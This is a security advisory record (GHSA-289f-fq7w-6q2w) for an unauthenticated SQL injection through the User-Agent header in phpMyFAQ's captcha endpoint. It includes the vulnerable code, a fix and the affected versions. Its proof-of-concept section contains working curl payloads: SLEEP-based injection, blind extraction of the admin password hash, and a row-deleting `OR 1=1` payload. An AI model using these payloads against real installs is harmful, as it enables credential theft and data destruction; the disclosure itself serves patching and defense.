{"id":"GHSA-289f-fq7w-6q2w","summary":"phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha","details":"## Summary\n\n`BuiltinCaptcha::garbageCollector()` and `BuiltinCaptcha::saveCaptcha()` at `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298` and `:330` interpolate the `User-Agent` header and client IP address into DELETE and INSERT queries with `sprintf` and no escaping. Both methods run on every hit to the public `GET /api/captcha` endpoint, which requires no authentication. An unauthenticated attacker sets the `User-Agent` header to a crafted SQL payload and runs `SLEEP()`, `BENCHMARK()`, or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at `b9f25109`): baseline request 147 ms, request with `User-Agent: x' OR SLEEP(2) OR 'x` 4.09 s (two `SLEEP(2)` calls, one per vulnerable sink).\n\n## Details\n\n`phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112` populates two private fields from untrusted HTTP input at construction time:\n\n```php\n$this-\u003euserAgent = $request-\u003eheaders-\u003eget('user-agent');\n$this-\u003eip = $request-\u003egetClientIp();\n```\n\nBoth fields are then dropped into `sprintf()` SQL templates without ever touching `Database::escape()` or a prepared statement.\n\n`garbageCollector()` at line 298 (called on every captcha request via `getCaptchaImage()`):\n\n```php\n$delete = sprintf(\n    \"\n    DELETE FROM\n        %sfaqcaptcha\n    WHERE\n        useragent = '%s' AND language = '%s' AND ip = '%s'\",\n    Database::getTablePrefix(),\n    $this-\u003euserAgent,                                      // unescaped\n    $this-\u003econfiguration-\u003egetLanguage()-\u003egetLanguage(),\n    $this-\u003eip,                                             // unescaped\n);\n$this-\u003econfiguration-\u003egetDb()-\u003equery($delete);\n```\n\n`saveCaptcha()` at line 330 does the same for INSERT:\n\n```php\n$insert = sprintf(\n    \"INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('%s', '%s', '%s', '%s', %d)\",\n    Database::getTablePrefix(),\n    $this-\u003ecode,\n    $this-\u003euserAgent,                                      // unescaped\n    $this-\u003econfiguration-\u003egetLanguage()-\u003egetLanguage(),\n    $this-\u003eip,                                             // unescaped\n    $this-\u003etimestamp,\n);\n$this-\u003econfiguration-\u003egetDb()-\u003equery($insert);\n```\n\nFor comparison, the same file's `checkCaptchaCode()` at line 472 passes user input through `$db-\u003eescape()` before interpolation. The `BuiltinCaptcha` author knew about `escape()`; the two sinks above skip it.\n\n### Reachability\n\n`phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39` exposes the vulnerable flow as an unauthenticated GET:\n\n```php\n#[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])]\npublic function renderImage(): Response\n{\n    if (!$this-\u003ecaptcha instanceof BuiltinCaptcha) {\n        return new Response('', Response::HTTP_NOT_FOUND);\n    }\n    // ...\n    $response-\u003esetContent($this-\u003ecaptcha-\u003egetCaptchaImage());\n    return $response;\n}\n```\n\n`getCaptchaImage()` calls `saveCaptcha()` and `garbageCollector()` unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting `GET /api/captcha` injects into two queries at once.\n\n### Impact surface\n\nMySQL's `query()` method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with `SLEEP()` or `BENCHMARK()` still works, and the attacker can:\n\n- Read any row the web user has access to through bit-by-bit `IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0)` chains. The `faquser` table holds `auth_source`, `login`, and bcrypt password hashes for every registered user; `faqconfig` holds the `main.phpMyFAQToken` admin token and SMTP credentials.\n- `UPDATE` / `DELETE` arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, `User-Agent: ' OR 1=1 -- ` deletes the entire `faqcaptcha` table and locks out legitimate users).\n\n## Proof of Concept\n\nTested against phpMyFAQ 4.2.0-alpha at master `b9f25109fddb38eee19987183798638d07943f92`, default install (MariaDB 10.6, Apache, PHP 8.4) on `http://target:8090`.\n\nStep 1: Baseline request with a clean `User-Agent`:\n\n```bash\ntime curl -sS -o /dev/null -w \"HTTP %{http_code} %{time_total}s\\n\" \\\n  -A \"Mozilla/5.0\" \\\n  \"http://target:8090/api/captcha?nocache=1\"\n# HTTP 500 0.147s\n```\n\nStep 2: Injection with `SLEEP(2)` in the User-Agent:\n\n```bash\ntime curl -sS -o /dev/null -w \"HTTP %{http_code} %{time_total}s\\n\" \\\n  -A \"x' OR SLEEP(2) OR 'x\" \\\n  \"http://target:8090/api/captcha?nocache=2\"\n# HTTP 500 4.093s\n```\n\nThe 4.09 s response time equals two `SLEEP(2)` executions, confirming the payload reached both the `DELETE` in `garbageCollector()` and the `INSERT` in `saveCaptcha()`.\n\nStep 3: Single-bit boolean extraction using time:\n\n```bash\n# leaks first character of the admin hash; 2s = 'a', 0s = otherwise\ncurl -sS -o /dev/null -A \"x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x\" \\\n  \"http://target:8090/api/captcha?nocache=3\"\n```\n\nIterating position and character enables full credential exfiltration without any authentication.\n\n## Impact\n\nUnauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in `faqconfig`, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of `/api/captcha`.\n\n## Recommended Fix\n\nRoute both fields through `Database::escape()` before interpolation, or replace the `sprintf` + `query()` pattern with a prepared statement.\n\n`phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325`:\n\n```php\n$db = $this-\u003econfiguration-\u003egetDb();\n$userAgent = $db-\u003eescape($this-\u003euserAgent);\n$language = $db-\u003eescape($this-\u003econfiguration-\u003egetLanguage()-\u003egetLanguage());\n$ip = $db-\u003eescape($this-\u003eip);\n\n$delete = sprintf(\n    \"DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'\",\n    Database::getTablePrefix(),\n    $userAgent,\n    $language,\n    $ip,\n);\n$db-\u003equery($delete);\n```\n\nApply the same change to `saveCaptcha()` at line 330 and to every other `sprintf`-into-SQL path in the file. A targeted audit for `sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE` across `src/phpMyFAQ/` will surface the rest.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","aliases":["CVE-2026-46364"],"modified":"2026-08-24T00:36:43.688748842Z","published":"2026-05-06T20:49:15Z","database_specific":{"github_reviewed_at":"2026-05-06T20:49:15Z","nvd_published_at":null,"cwe_ids":["CWE-89"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46364"},{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/commit/b9f25109fddb38eee19987183798638d07943f92"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/phpmyfaq-sql-injection-via-user-agent-header-in-builtincaptcha"}],"affected":[{"package":{"name":"thorsten/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/thorsten/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.2"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.1.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-289f-fq7w-6q2w/GHSA-289f-fq7w-6q2w.json"}},{"package":{"name":"phpmyfaq/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/phpmyfaq/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.2"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.1.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-289f-fq7w-6q2w/GHSA-289f-fq7w-6q2w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}